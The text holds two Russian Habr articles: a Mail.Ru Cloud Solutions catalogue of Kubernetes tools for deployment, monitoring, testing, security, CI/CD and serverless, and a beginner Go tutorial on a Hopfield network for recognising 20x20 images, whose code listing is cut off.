* [Конвейер CI/CD](#7)
* [Сервисные сетки](#8)
* [Обнаружение служб](#9)
* [Визуализация и управление](#10)
* [Инструменты для бессерверных вычислений/функций](#11)
Инструменты развертывания кластера
----------------------------------
### 1. [Keel](https://keel.sh/)
Оператор Kubernetes, который автоматизирует обновления DaemonSet, StatefulSet, Helm и Deployment. Одна команда, никаких зависимостей, конфигурационных файлов и блокировок.
### 2. [Kube-prod-runtime](https://github.com/bitnami/kube-prod-runtime/)
Набор служб Kubernetes, который упрощает работу в продакшене под серьезной нагрузкой. Обеспечивает мониторинг производительности в кластере, ведение журналов, управление сертификацией и автоматическое обнаружение ресурсов в K8s через общедоступные DNS-серверы. Это полезный набор сервисов и для других инфраструктурных нужд.
### 3. [K3sup](https://github.com/alexellis/k3sup)
После установки k3sup (произносится как ketchup) вы можете за считанные секунды сгенерировать kubeconfig на любой локальной или удаленной виртуальной машине.
### 4. [Mail.Ru Cloud Solutions: Cloud Containers](https://mcs.mail.ru/containers)
На платформе можно развернуть кластеры Kubernetes в виде облачного сервиса: за несколько минут вы получите готовый к работе кластер без необходимости в настройке и обновите его до нужной версии. Также кластеры просто масштабировать — они работают на инфраструктуре Mail.Ru, рассчитанной на высоконагруженные сервисы.
### 5. [Kubeadm](https://github.com/kubernetes/kubeadm)
Средство для инициализации кластеров Kubernetes в оптимальной конфигурации на вашей инфраструктуре. Главное преимущество — возможность запускать минимально жизнеспособные кластеры Kubernetes в любой среде. Надстройки и сетевые настройки не входят в конфигурацию из коробки, все придется настроить вручную.
### 6. [Kubespray](https://github.com/kubernetes-incubator/kubespray)
Набор ролей Ansible для развертывания и конфигурации Kubernetes. Работает на разных облачных платформах: AWS, GCE, Azure, Mail.Ru Cloud Solutions, OpenStack и bare metal IaaS. Это open source проект, построен на kubeadm. Подходит тем, кто хорошо знаком с Ansible — с этим инструментом вам ничего не нужно больше знать, чтобы развернуть все нужные ресурсы.
### 7. [Conjure-up](https://conjure-up.io/)
Позволяет развертывать Kubernetes с помощью нескольких команд, поддерживает развертывания на локальном хосте, bare metal, в облачных средах, в том числе OpenStack.
### 8. [Minikube](https://kubernetes.io/docs/setup/learning-environment/minikube/)
Хорошее начало для тех, кто только знакомится с Kubernetes. Инструмент позволяет пользователям легко запускать одноузловой кластер локально внутри виртуальной машины на ноутбуке пользователя. Поддерживается в Mac OS X, Windows и Linux.
### 9. [MicroK8s](https://github.com/ubuntu/microk8s)
Инструмент для пользователей Kubernetes, позволяющий развернуть автономный кластер на сервере Linux, хорошо подходит для Edge и IoT.
### 10. [Bootkube](https://github.com/kubernetes-incubator/bootkube)
Запускает автономные кластеры и помогает настроить временную плоскость управления Kubernetes. Bootkube также можно использовать для создания необходимых ресурсов, которые будут использоваться при начальной загрузке нового кластера.
### 11. [RKE от Rancher](http://github.com/rancher/rke)
Сертифицированный CNCF дистрибутив Kubernetes, работающий внутри контейнеров. Позволяет упростить и автоматизировать установку Kubernetes, не зависеть от операционной системы и платформы, на которой вы работаете.
Инструменты мониторинга
-----------------------
### 12. [Kube-state-metrics](https://github.com/kubernetes/kube-state-metrics)
Простая утилита для прослушивания сервера Kubernetes API, помогает в генерации метрик о состоянии объектов. Фокусируется на работоспособности различных объектов внутри кластера, включая узлы, поды и развертывания.
### 13. [Kubebox](https://github.com/astefanutti/kubebox)
Терминальная консоль, позволяющая управлять кластером Kubernetes и отслеживать его статус в режиме реального времени. Мониторит кластер, показывает, что происходит с ресурсами подов, журналы контейнеров и другие параметры. Позволяет легко перейти к нужному пространству имен и выполнить команду в нужном контейнере. Это помогает быстро справляться с неполадками и восстанавливать работу.
### 14. [Rakess](https://github.com/corneliusweig/rakkess)
Плагин Rakess (Review Access) показывает все права доступа к кластеру Kubernetes. Конечно, для отдельных ресурсов можно выполнить проверку командой kubectl auth can-i list deployments, но она не дает полную информацию обо всех ресурсах на сервере.
### 15. [Kubetail](https://github.com/johanhaleby/kubetail)
Bash-скрипт, позволяющий агрегировать журналы многих подов в один поток. В исходной версии не умеет фильтровать или выделять, но на Github есть отдельный форк, позволяющий раскрашивает логи с помощью MultiTail.
### 16. [Stern](http://github.com/wercker/stern)
Еще один инструмент из категории «tail для подов в Kubernetes». Особенности: использование регулярных выражений для удобной фильтрации подов (не нужно знать конкретные ID), аналогично можно фильтровать отдельные контейнеры для запрашиваемых подов, есть стандартные и кастомные Go-шаблоны для выводимых логов, ограничение вывода логов по периоду времени или количеству строк и много чего еще.
### 17. [Prometheus](https://github.com/prometheus/prometheus/blob/master/documentation/examples/prometheus-kubernetes.yml)
Не можем снова не упомянуть этот опенсорсный инструмент для мониторинга и уведомлений, который давно стал стандартом для мониторинга Kubernetes. Он интегрирован со всеми популярными языками программирования, помогает создавать собственные метрики и содержит много готовых интеграций с популярными технологиями, например: PostgreSQL, MySQL, ETCD.
С помощью [Prometheus Operator](https://github.com/flant/prometheus-operator) можно создавать экземпляры Prometheus в кластерах Kubernetes, в том числе тесную интеграцию с [Grafana](https://github.com/grafana/grafana) и Alertmanager.
### 18. [Jaeger](https://github.com/jaegertracing/jaeger)
Инструмент трассировки с открытым исходным кодом. Умеет мониторить транзакции и сервисные зависимости в распределенных системах, выявлять и устранять неполадки. Один из способов начать работу с ним в Kubernetes — использовать специальный [оператор Jaeger](https://www.jaegertracing.io/docs/1.13/operator/).
### 19. [Searchlight](https://github.com/appscode/searchlight)
Оператор Kubernetes для [Icinga](https://www.icinga.com/). Умеет запускать периодические проверки на кластерах Kubernetes, а потом отправлять уведомления по электронной почте, СМС или в чат, если что-то идет не так. В инструмент по дефолту включен комплект проверок специально для Kubernetes. С его помощью можно расширить возможности мониторинга Prometheus, также он станет резервной системой, если внутренние системы мониторинга полностью откажут.
### 20. [Kubernetes Operational View (Kube-ops-view)](https://github.com/hjacobs/kube-ops-view)
Read-only системная панель, способная работать со многими кластерами Kubernetes. Позволяет удобно перемещаться между кластерами, отслеживать ноды и состояние подов. Визуализирует ряд процессов, таких как создание и уничтожение подов.
### 21. [Kubewatch](https://github.com/bitnami-labs/kubewatch)
Запускается в подах в кластере Kubernetes, отслеживает системные изменения, после запуска вы будете получать уведомления через веб-хуки. Можно настроить свои уведомления, просто отредактировав файл конфигурации.
### 22. [Weave Scope](https://www.weave.works/docs/scope/latest/introducing/)
Отслеживает и устраняет неполадки в кластерах Kubernetes и Docker, чтобы вы могли легко выявлять и устранять проблемы с контейнеризованными приложениями. Вы можете использовать его, чтобы определить узкие места производительности приложений.
### 23. [Turbonomic/Kubeturbo](https://turbonomic.com/product/integrations/kubernetes/)
Обеспечивает видимость всего вашего стека, позволяет контролировать эффективность базовой инфраструктуры и производительность запущенных микросервисов в Kubernetes.
Тестирование
------------
### 24. [Kubeval](https://github.com/instrumenta/kubeval)
Инструмент для проверки конфигурационного файла Kubernetes YAML или JSON. Проверка осуществляется с использованием схем, сгенерированных из Kubernetes OpenAPI. Это позволяет производить валидацию схем для разных версий Kubernetes.
### 25. [Helm-kubeval](https://github.com/instrumenta/helm-kubeval)
Плагин Helm, используемый для валидации диаграмм на соответствие схемам Kubernetes. Для проверки диаграмм можете выбрать определенные версии Kubernetes.
### 26. [BotKube](https://www.botkube.io/)
BotKube может отслеживать, отлаживать и запускать проверки в кластерах Kubernetes. Инструмент также интегрируется в различные платформы для обмена сообщениями, такие как Slack и Mattermost. Преимущества — открытый исходный код и простота настройки.
### 27. [Sonobuoy](https://sonobuoy.io/)
Sonobuoy — диагностический инструмент для проверки на соответствие нормативам, отладки рабочей нагрузки и проведения пользовательских тестов, которые помогают определить состояние кластера. Тесты выполняются неразрушающим образом, при этом генерируются четкие информативные отчеты.
### 28. [Snyk Container](https://snyk.io/product/container-vulnerability-management/)
Snyk позволяет быстро находить и исправлять уязвимости в контейнерах и приложениях Kubernetes на протяжении всего жизненного цикла разработки.
### 29. [Kube-monkey](https://github.com/asobti/kube-monkey)
Следуя принципам хаос-инжиниринг, Kube-monkey случайным образом удалит модули Kubernetes в кластере и проверит разработку отказоустойчивых сервисов.
### 30. [K8s-testsuite](https://github.com/mrahbar/k8s-testsuite)
Состоит из двух диаграмм Helm для тестирования пропускной способности сети и нагрузочного тестирования кластеров Kubernetes. Это поможет убедиться в правильности их конфигурации, а также в работоспособности служб и правильном распределении нагрузки.
### 31. [PowerfulSeal](https://www.techatbloomberg.com/blog/powerfulseal-testing-tool-kubernetes-clusters/)
Инструмент специфичен для Kubernetes и также следует принципам хаос-инжиниринг, позволяя проверить объекты, работающие в контейнерах. Также его можно использовать для проверки выбранных компонентов кластера вручную через интерактивный режим. После развертывания инструмент работает автономно.
Безопасность
------------
### 32. [Harbor](https://goharbor.io/)
Реестры Harbor защищают образы с контейнерами путем внедрения системы управления доступом на основе ролей. Инструмент также проверяет образы на наличие уязвимостей и подписывает их как надежные.
### 33. [Kubesec](https://kubesec.io/)
Инструмент с открытым исходным кодом для анализа рисков безопасности ресурсов Kubernetes. С ним вы сможете контролировать систему и получите полный список рекомендаций по повышению ее общей безопасности.
### 34. [Permission-Manager](http://github.com/sighupio/permission-manager)
Это приложение разработки компании SIGHUP позволяет легко управлять ролями доступа для Kubernetes через систему Role-Based Access Control. Создайте пользователей, назначьте пространство имен/разрешения, а также распространите файлы Kubeconfig YAML.
### 35. [Kube-scan](https://www.octarinesec.com/solution-item/kube-scan/)
Инструмент от компании [Octarine](https://github.com/octarinesec) фокусируется на оценке рисков в рабочих нагрузках Kubernetes. Kube-scan запускается как под в кластерах и оценивает 30 параметров безопасности, чтобы вывести максимально приемлемый уровень риска. Затем инструмент анализирует, какие параметры работают в тандеме, чтобы понять, какие комбинации уменьшат уровень угроз.
### 36. [K-rail](https://github.com/cruise-automation/k-rail)
K-rail предназначен для ситуаций, когда требуется чуть больше контроля в реализации ваших политик. Есть множество простых способов повышения привилегий, но в мультитенантном кластере они могут представлять опасность или приводить к нестабильности.
### 37. [KeyCloak](https://www.keycloak.org/)
KeyCloak — опенсорсный инструмент управления доступом и идентификационной информацией пользователей. Он добавляет функцию аутентификации приложений и помогает минимальными усилиями обеспечить безопасность служб. Устраняет необходимость детально разбираться с ведением списка пользователей и их аутентификацией. Всё это теперь работает прямо из коробки.
### 38. [Aquasec](https://www.aquasec.com/)
Инструмент предназначен для защиты инсталляций Kubernetes на протяжении всего жизненного цикла. Он развертывает на каждом контейнере выделенный агент, работающий как межсетевой экран и устраняющий возможные уязвимости. Управлять ограничениями безопасности вы сможете через центральную консоль. Кроме того, инструмент позволяет использовать гибкие настройки безопасности в локальных и облачных средах.
С ним связан еще один open source инструмент — [Kube-Bench](https://github.com/aquasecurity/kube-bench), проверяющий среду Kubernetes по тестам из документа CIS Kubernetes Benchmark.
### 39. [Tigera](https://www.tigera.io/)
Инструмент от создателей [проекта Calico](https://www.projectcalico.org/), набор решений для сетевой безопасности Kubernetes с поддержкой мультиоблачных и устаревших сред через автоматизированную универсальную политику безопасности.
### 40. [Klum](https://github.com/ibuildthecloud/klum)
Klum, или Kubernetes Lazy User Manager, выполняет простые задачи, такие как создать/удалить/изменить пользователей. Он выдает файлы kubeconfig и управляет ролями юзеров.
### 41. [StrongDM](https://strongdm.com/docs/user-guide/kubernetes-connection/)
StrongDM — это плоскость управления для проверки безопасности и доступа к вашим серверам и/или базам данных. Состоит из API аутентификации, прокси-сервера, поддерживающего протокол, и хранилища журналов.
### 42. [Falco](https://falco.org/)
Инструмент для обеспечения безопасности с открытым исходным кодом для облачных вычислений, обнаруживает риски для Kubernetes. Замечает неожиданное поведение приложения и оповещает об угрозах во время его выполнения.
### 43. [Sysdig Secure](https://sysdig.com/products/secure/)
Платформа, обеспечивающая мониторинг безопасности микросервисов и контейнеров. Поддерживаются Kubernetes и Docker. Может быть использована в облаке и локально.
Полезные утилиты
----------------
### 44. [Krew](https://github.com/kubernetes-sigs/krew/)
Krew помогает разработчикам находить полезные плагины kubectl для программ и устанавливать, а потом управлять ими. Этот инструмент похож на [APT](https://devconnected.com/apt-package-manager-on-linux-explained/), [DNF](https://fedoraproject.org/wiki/DNF) или [Homebrew](https://brew.sh/).
### 45. [Ksniff](https://github.com/eldadru/ksniff)
Плагин для kubectl, который эффективно использует [Wireshark](https://www.wireshark.org) и [tcpdump](https://www.tcpdump.org/) для удаленного захвата трафика с любого пода в кластере Kubernetes.
### 46. [Kube-ps1](https://github.com/jonmosco/kube-ps1)
Скрипт Kube-ps1 добавляет текущий контекст Kubernetes и сконфигурированное пространство имен из kubectl в консоль Bash/Zsh, никаких команд не требуется.
### 47. [Kubefwd](https://github.com/txn2/kubefwd)
Если вы запускаете службы Kubernetes на удаленном кластере, то Kubefwd поможет перенаправить их на локальную рабочую станцию. Никаких модификаций не требуется: если вы используете kubectl, вы уже соответствуете всем требованиям.
### 48. [Kubeterminal](https://github.com/samisalkosuo/kubeterminal)
Это скорее вспомогательный инструмент, который дополняет kubectl и вашу консоль в Kubernetes.
### 49. [Skaffold](https://skaffold.dev/)
Skaffold — консольная утилита, помогающая обеспечить процесс непрерывной разработки приложений Kubernetes. Инструмент очень легкий и не требует компонентов на стороне кластера.
### 50. [Kubectl-aliases](https://github.com/ahmetb/kubectl-aliases)
Простой и очень мощный генератор алиасов для kubectl. С его помощью вы сможете очень быстро писать команды для повседневного администрирования Kubernetes, так как он предоставляет более 800 коротких алиасов на все случаи жизни.
### 51. [Kubectx/Kubens](https://github.com/ahmetb/kubectx)
Опенсорсная утилита, дополняет Kubectl, позволяет переключать контекст и подключаться одновременно к нескольким кластерам Kubernetes, а также перемещаться между пространствами имен. Есть поддержка автозаполнения в оболочках bash/zsh/fish.
`kubectx` помогает переключаться между кластерами вперед и назад:
`kubens` помогает плавно переключаться между пространствами имен Kubernetes:
### 52. [Kube-shell](https://github.com/cloudnativelabs/kube-shell)
Инструмент, ускоряющий работу с kubectl. Автодополняет команды, предлагает разные варианты, ищет и исправляет команды, которые введены неправильно, отображает in-line справку о выполняемых командах.
### 53. [Tilt](https://tilt.dev/)
Если вы редко выходите из консоли, Tilt синхронизирует все изменения с кластером и обновляет серверы, так что вы сразу видите, как внесенные изменения влияют на систему. Инструмент показывает состояние каждого ресурса, выдает журналы для каждого из них или всё вместе. Все обновления выполняются внутри контейнера, что делает их очень быстрыми.
### 54. [Kail (Kubernetes Tail)](https://github.com/boz/kail)
Инструмент позволяет отслеживать логи Docker для нужных подов. Он фильтрует поды по службам, развертываниям, меткам и иным параметрам. В соответствии с критериями фильтрации поды после запуска будут автоматически добавлены в журнал или удалены из него.
Инструменты разработки
----------------------
### 55. [Helm](https://helm.sh/)
Пакетный менеджер, помогает управлять приложениями Kubernetes с помощью Helm Charts. Это позволяет пользователям создавать воспроизводимые сборки, которыми можно делиться.
### 56. [Helm-2to3](https://github.com/helm/helm-2to3)
Этот плагин помогает разработчикам перенести конфигурацию из Helm v2 в Helm v3 с соответствующей [очисткой конфигурации](https://github.com/helm/helm-2to3#clean-up-helm-v2-data).
### 57. [Rook](https://rook.io/)
Rook помогает автоматизировать различные задачи для хранилища данных, такие как развертывание, загрузка, масштабирование, обновление и так далее. Это гарантирует, что на Kubernetes будет стабильно работать решение любого поставщика (Ceph, EdgeFS, CockroachDB, Cassandra, NFS, Yugabyte DB).
### 58. [Contour](https://projectcontour.io/)
Contour — ingress-контроллер Kubernetes, обеспечивает плоскость управления для Ingress и служебного прокси.
### 59. [Shell-operator](https://github.com/flant/shell-operator)
Shell Operator упрощает создание операторов Kubernetes. Он обеспечивает интеграцию между событиями кластера Kubernetes и сценариями оболочки. Упрощает управление кластером.
### 60. [Helm-operator-get-started](https://github.com/fluxcd/helm-operator-get-started)
Помогает управлять вашими релизами Helm.
### 61. [Helmfile](http://github.com/roboll/helmfile)
Инструмент для управления релизами helm-чартов. Позволяет в одном месте описывать множество helm релизов, задавать порядок их деплоя и делать другие полезные вещи.
### 62. [Kudo](https://kudo.dev/)
Kudo упрощает создание операторов Kubernetes, в основном используя YAML. Он предоставляет готовые операторы, которые можно настроить из коробки.
### 63. [Helm-docs](https://github.com/norwoodj/helm-docs)
Этот инструмент автоматически генерирует документацию из диаграмм Helm в файл markdown. Данный файл содержит метаданные, включая таблицу со всеми значениями диаграммы и значениями по умолчанию.
### 64. [Telepresence](https://www.telepresence.io/)
Позволяет локально отлаживать службу Kubernetes, упрощая процесс разработки.
### 65. [Kubectl-debug](https://github.com/aylei/kubectl-debug)
Позволяет запускать дополнительный контейнер в интересующем вас поде. Новый контейнер будет использовать пространство имен совместно с целевым контейнером/контейнерами.
### 66. [Ksync](https://github.com/ksync/ksync)
Почти мгновенно синхронизирует файлы вашей локальной системы с кластером Kubernetes. Подходит, если вы используете сценарии, в которых основной проблемой является доставка кода в работающий контейнер.
### 67. [Squash](https://github.com/solo-io/squash)
Используют для отладки процессов во время их работы в кластере. Простой в использовании, вы можете в интерактивном режиме выбрать нужный отладчик и пространство имен/под интересующего процесса.
Конвейер CI/CD
--------------
### 68. [Rafay](https://rafay.co/)
Rafay — программный инструмент, который упрощает для компании или отдельного разработчика создание собственной платформы, системы автоматизации и управления жизненным циклом приложений. Rafay также способен запускать кластеры Kubernetes.
### 69. [Rancher](https://rancher.com/)
Rancher — полноценная программная платформа, которая легко развертывает контейнерные среды, выходящие за рамки инсталляторов Kubernetes, таких как Kops и Kubespray. Предоставляет множество функций, включая управление инфраструктурой, планирование и оркестровку контейнеров, мониторинг, проверку работоспособности, ведение журналов, а также мощную систему управления доступом на основе ролей.
### 70. [Draft](https://draft.sh/)
Утилита от разработчиков Helm. Ее цель — упростить приложения, которые разрабатываются для работы в Kubernetes. С помощью двух простых команд вы можете работать с контейнерными приложениями, даже не нуждаясь в установке Docker или Kubernetes.
### 71. [Jenkins](https://jenkins.io/)
Пожалуй, наиболее популярный open source CI/CD-сервер в мире. К нему есть [бесплатный плагин](https://plugins.jenkins.io/kubernetes-cd), помогающий развертывать приложения в Kubernetes, обновлять их с минимальным простоем и обеспечивать Green/Blue-развертывание обновлений.
### 72. [TeamCity](https://www.jetbrains.com/teamcity)
Известный CI/CD сервис от JetBrains. Есть [плагин](https://blog.jetbrains.com/teamcity/2017/10/teamcity-kubernetes-support-plugin/), с которым можно использовать инфраструктуру кластера Kubernetes для запуска билд-агентов TeamCity (в версии 2017.1.x и новее).
### 73. [Apollo](https://github.com/logzio/apollo)
Решение для непрерывного развертывания (CD), предоставляющее интерфейс самообслуживания для команд. Может интегрироваться с существующими процессами сборки. Это позволяет управлять кластерами Kubernetes, предоставляя каждому пользователю определенные разрешения для обеспечения безопасности развертывания.
### 74. [Werf](https://github.com/flant/werf)
CLI-инструмент с открытым исходным кодом, написанный на Go, предназначен для упрощения и ускорения доставки приложений. Werf создает образы Docker с использованием Dockerfiles или альтернативного быстрого встроенного компоновщика на основе собственного синтаксиса. Он также удаляет неиспользуемые образы из реестра Docker. Потом Werf развертывает ваше приложение в Kubernetes, используя диаграмму в формате, совместимом с Helm, с удобными настройками и улучшенным механизмом отслеживания развертывания, обнаружения ошибок и вывода журнала.
Инструмент позволяет создавать конвейеры, которые можно встроить в любую существующую систему CI/CD.
### 75. [Garden](https://github.com/garden-io/garden)
Garden — инструмент для разработчиков, который автоматизирует ваши рабочие процессы и делает разработку и тестирование приложений Kubernetes быстрее и проще. Подходит для совместной разработки в удаленном кластере.
Сервисные сетки
---------------
### 76. [Kiali](https://www.kiali.io/documentation/features/)
Kiali помогает создавать определения, проверять и наблюдать за работой микросервисов и соединений в сервисной сетке Istio. Инструмент создает визуальное графическое представление топологии сервисной сетки и дает представление о таких функциях, как разрыв цепи (circuit breaker), маршрутизация запросов, задержка и других.
### 77. [Kuma](https://github.com/Kong/kuma)
Универсальная панель управления для сервисных сеток и микросервисов. Может нативно работать и в виртуальной среде, и в Kubernetes. Легко вводится в арсенал инструментов любой команды в организации.
### 78. [Tenkai](https://github.com/softplan/tenkai)
Tenkai — это менеджер микросервисов, основанный на диаграммах Helm. Инструмент с графическим веб-интерфейсом позволяет вызывать репозитории из диаграмм Helm, легко их настраивать и деплоить.
Обнаружение служб
-----------------
### 79. [Обнаружение cлужб Vert.X](https://github.com/vert-x3/vertx-service-discovery)
Репозиторий с множеством инструментов для обнаружения служб, которые видны из ваших приложений с микросервисами. Службы можно импортировать и из Kubernetes (а также из Docker и Consul).
Визуализация и управление
-------------------------
### 80. [Octant](https://octant.dev/)
Веб-инструмент с открытым исходным кодом, который позволяет визуализировать ваши рабочие нагрузки Kubernetes и предоставляет по ним обновления в режиме реального времени.
### 81. [Kubernetic](https://kubernetic.com/)
Kubernetic помогает легко и быстро развертывать общедоступные или приватные диаграммы, видеть все связанные объекты кластера и их зависимости на одном экране. Отличается такими функциями, как визуализация в реальном времени, а также поддержка нескольких кластеров.
### 82. [Kubernetes Dashboard](https://github.com/kubernetes/dashboard#kubernetes-dashboard)
Универсальный веб-интерфейс кластеров Kubernetes. С помощью этой нативной панели управления проще устранять неполадки и мониторить кластеры.
### 83. [Kubeapps](https://kubeapps.com/)
Веб-интерфейс для каталога приложений в кластерах Kubernetes. Позволяет устанавливать, обновлять и удалять Helm-чарты нажатием одной кнопки, без использования командной строки.
### 84. [Lens](https://github.com/lensapp/lens)
Приложение для рабочего стола, работает в Windows, Mac и Linux. Может подключаться к локальному кластеру K8s, подходит для небольшого количества кластеров.
### 85. [Kubevious](https://github.com/kubevious/kubevious)
Программное обеспечение с открытым исходным кодом, удобный графический интерфейс. Отображает все конфигурации, относящиеся к приложению, в одном месте. Это экономит время, избавляя от необходимости искать настройки и копаться в селекторах и метках. Один из недостатков инструмента — он работает непосредственно на кластере K8s. Значит, вам придется развертывать Kubevious на каждом кластере, а не просто указывать на существующий.
### 86. [Kubelive](https://github.com/ameerthehacker/kubelive)
Основанный на терминалах пользовательский интерфейс, использующий Node.js. Довольно прост в использовании, но в настоящее время ограничен несколькими командами kubectl. Позволяет легко перемещаться по различным пространствам имен кластера K8s и быстро отображать состояние заданного набора подов.
### 87. [K9s](https://github.com/derailed/k9s)
Еще один удобный пользовательский интерфейс, упрощает навигацию, наблюдение и управление вашими приложениями.
Инструменты для бессерверных вычислений/функций
-----------------------------------------------
### 88. [Kubeless](https://kubeless.io/)
Безсерверная инфраструктура Kubernetes с открытым исходным кодом, которая позволяет вам развертывать небольшие фрагменты кода. Поддерживает большинство популярных языков, позволяет редактировать и развертывать функции в режиме реального времени.
### 89. [Fission](https://fission.io/)
Еще один открытый серверный фреймворк Kubernetes с открытым исходным кодом. Поддерживает все языки программирования. Напишите недолговечные функции на любом языке и сопоставьте их с HTTP-запросами (или другими триггерами событий) — инструмент позволяет развернуть функции мгновенно с помощью одной команды. Нет контейнеров для сборки и нет реестров Docker для управления.
### 90. [Funktion](https://funktion.fabric8.io/docs/)
Это модель программирования лямбда-стиля с открытым исходным кодом для Kubernetes. Позволяет разработчикам сосредоточиться на написании функций, в то время как Kubernetes позаботится обо всем остальном.
### 91. [IronFunction](https://open.iron.io/)
Серверная вычислительная платформа с открытым исходным кодом для любого облака — частного, общедоступного или гибридного. Используя этот инструмент, разработчики могут просто загрузить свой код, пока платформа работает с инфраструктурой.
### 92. [OpenFaaS](https://www.openfaas.com/)
Упрощает развертывание как функций, так и существующего кода в Kubernetes. Работает в публичных и частных облаках. Позволяет создавать микросервисы и функции на любом языке.
### 93. [Nuclio](https://nuclio.io/)
Cерверный проект, который позволяет использовать его в качестве автономного контейнера Docker или даже поверх другого кластера Kubernetes. Предназначен для работы с высокопроизводительными событиями и большими объемами данных. Также обеспечивает обработку данных в режиме реального времени с минимальными издержками.
### 94. [Virtual-Kubelet](https://virtual-kubelet.io/docs/)
Является открытой реализацией Kubernetes Kubelet. Запускается внутри контейнера в вашем текущем кластере и маскируется под узел. Оттуда он контролирует запланированные пакеты так, как это делает настоящий Kubelet.
На этом всё. Пишите в комментариях, если знаете другие полезные инструменты.
**Дополнение**: Мы собрали инструменты, которые, на наш взгляд, часто используют на практике. Еще полезные инструменты можно найти в [CNCF Cloud Native Interactive Landscape](http://landscape.cncf.io/).
**Что еще почитать по теме**:
1. [Как устроен Kubernetes as a Service на платформе Mail.ru Cloud Solutions](https://habr.com/ru/company/mailru/blog/519366/).
2. [10 антипаттернов деплоя в Kubernetes: распространенные практики, для которых есть другие решения](https://mcs.mail.ru/blog/antipatterny-deploya-v-kubernetes)?
3. [Наш канал Вокруг Kubernetes в Телеграме](https://tele.click/k8s_mail). | https://habr.com/ru/post/499676/ | null | ru | null |
# Нейросети для самых маленьких
Привет, в данном примере я хочу показать, как можно реализовать сеть Хопфилда для распознавания образов.
Я сам, как и многие в один день решил поинтересоваться программным обучением, ИИ и нейро сетями. Благо в сети есть много разборов и примеров, но все они оперируют изобилием формул функции и если ты не подкован в математике(как я), постараюсь продемонстрировать простой пример сети Хопфилда с использованием языка Golang(GO).
Математическое описание сети — [Сеть Хопфилда](https://ru.wikipedia.org/wiki/%D0%9D%D0%B5%D0%B9%D1%80%D0%BE%D0%BD%D0%BD%D0%B0%D1%8F_%D1%81%D0%B5%D1%82%D1%8C_%D0%A5%D0%BE%D0%BF%D1%84%D0%B8%D0%BB%D0%B4%D0%B0)
Почему именно сеть Хопфилда?
Достаточно быстрый и более-менее понятный пример, если можно оперировать такими терминами как «простой» и «понятный» в мире ИИ.
В этом примере мы попробуем распознавать образы из черно-белой картинки размером 20х20 пикселей.
Попробуем разобраться в шагах которые нам предстоит выполнить прежде чем мы получим наш желанный результат:
1. Преобразовать изображение в вектор
2. Преобразовать вектора в матрицы
3. Просуммировать матрицы и получить одну единую матрицу (W)
4. Обнулить единую матрицу по диагонали
5. Умножать матрицу W на вектор входящего изображения
6. Пропускать полученный вектор через функцию активации для данной сети(F)
7. Подставлять новый вектор к пункту 5 и продолжать операцию до тех пор пока мы не получим устойчивое состояние сети(на выходе будем получать один и тот же вектор).
Перейдем к коду с подробным описанием. Все библиотеки которые нам понадобятся:
```
package main
import (
"github.com/oelmekki/matrix"
"fmt"
"os"
"log"
"image"
"math"
"image/color"
"image/png"
_ "image/jpeg"
)
```
Создаем массив векторов из 3 элементов(количество образцов), конвертируем изображения в вектора и добавляем образцы в массив. 'Y' вектор это тот образ, который мы хотим распознать.
```
vectorArrays := [3][]float64{}
x1 := getVectorFromImage("Images/А.jpg")
x2 := getVectorFromImage("Images/Б.jpg")
x3 := getVectorFromImage("Images/О.jpg")
y := getVectorFromImage("Images/Income.jpg")
// Add images to the array
vectorArrays[0] = x1
vectorArrays[1] = x2
vectorArrays[2] = x3
```
Создаем массив матриц, конвертируем все вектора в матрицы и добавляем их в масив матриц. Создаем заготовку матрицы W и начинаем сумирование всех матриц, результат кладем в W.
```
matrixArray := [len(vectorArrays)]matrix.Matrix{}
for i, vInArray := range vectorArrays {
matrixArray[i] = vectorToMatrix(vInArray, vInArray)
}
W := matrix.Matrix{}
for i, matrixInArray := range matrixArray {
if i == 0 {
W = matrixInArray
continue
}
W, _ = W.Add(matrixInArray)
}
```
Обнуляем матрицу по диагонали.
```
for i := 0; i < W.Rows(); i++ {
W.SetAt(i, i, 0)
}
```
Создаем заготовку выходного вектора, умножаем матрицу на Y вектор, полученый результат кладем в вектор S и подставляем его обратно на умножение.
```
S := make([]float64, 400)
for II := 0; II < 100; II++ {
if II == 0 {
S, _ = W.VectorMultiply(y)
for i, element := range S {
// Activation Func "sigmod"
S[i] = sigmod(element)
}
continue
} else {
S, _ = W.VectorMultiply(S)
for i, element := range S {
// Activation Func "sigmod"
S[i] = sigmod( element)
}
}
}
```
Подробнее по поводу функции sigmod().
Это функция активации F и принцип ее работы(в нашем примере) заключается в том что бы преобразовать данные в выходящем векторе и привести их или к 1, или к -1.
Так как мы работаем с биполярной сетью то и данные могут быть только 1 и -1.
Изображение следует привести из RGB к 1 и -1, где сумма всех точек деленная на 3(условная яркость пикселя) должна стремиться к черному или белому цвету. Так как R = 255, G = 255, B = 255 это белый цвет, а R = 0, G = 0, B = 0 черный. Я выбрал порог в 150, следовательно что больше или равно 150 будет белым(1) все что меньше черным(-1), где выбор между черным в -1 и белым в 1 может быть условным, все что нам нужно это разложить черный и белый по значениям. Белый может быть так же -1, а черный 1, в данном случае это не играет роли. Так же стоит учесть что мы работаем с симметричной матрицей и изображения должны быть равносторонними.
Для того что бы преобразовать изображение в вектор нужно представить изображение как матрицу которую мы режем по горизонтали и каждый отрезанный слой (а у нас их будет 20) добавляем в конец предыдущего слоя и получаем вектор длиной в 400 (20x20).
В примере я не проверяю выходной вектор на устойчивость, а просто прохожу по циклу 100 раз, и в конце проверяю на какой из образцов похож наш результат. Сеть или отгадывает или же нет при этом выдавая так называемую химеру или вольную интерпретацию того что она смогла увидеть. Это результат я сохраняю в изображение.
Так как мы используем синхронный режим сети Хопфилда, то и результат будет слабый. Конечно можно использовать асинхронный, что займет больше времени и ресурсов, но и результат будет на много лучше.
Пример работы:
Входной образ — 
Ответ — 
**Исходные образы**
**Весь код**package main
```
package main
import (
"github.com/oelmekki/matrix"
"fmt"
"os"
"log"
"image"
"math"
"image/color"
"image/png"
_ "image/jpeg"
)
func vectorToMatrix(v1 []float64, v2 []float64) (matrix.Matrix) {
m := matrix.GenerateMatrix(len(v1), len(v2))
for i, elem := range v1 {
for i2, elem2 := range v1 {
m.SetAt(i, i2, elem2*elem)
}
}
return m
}
func sigmod(v float64) (float64) {
if v >= 0 {
return 1
} else {
return -1
}
}
func getVectorFromImage(path string) ([] float64) {
reader, err := os.Open(path)
if err != nil {
log.Fatal(err)
}
defer reader.Close()
m, _, err := image.Decode(reader)
if err != nil {
log.Fatal(err)
}
v := make([]float64, 400)
vectorIteration := 0
for x := 0; x < 20; x++ {
for y := 0; y < 20; y++ {
r, g, b, _ := m.At(x, y).RGBA()
normalVal := float64(r+g+b) / 3 / 257
if normalVal >= 150 {
v[vectorIteration] = 1
} else {
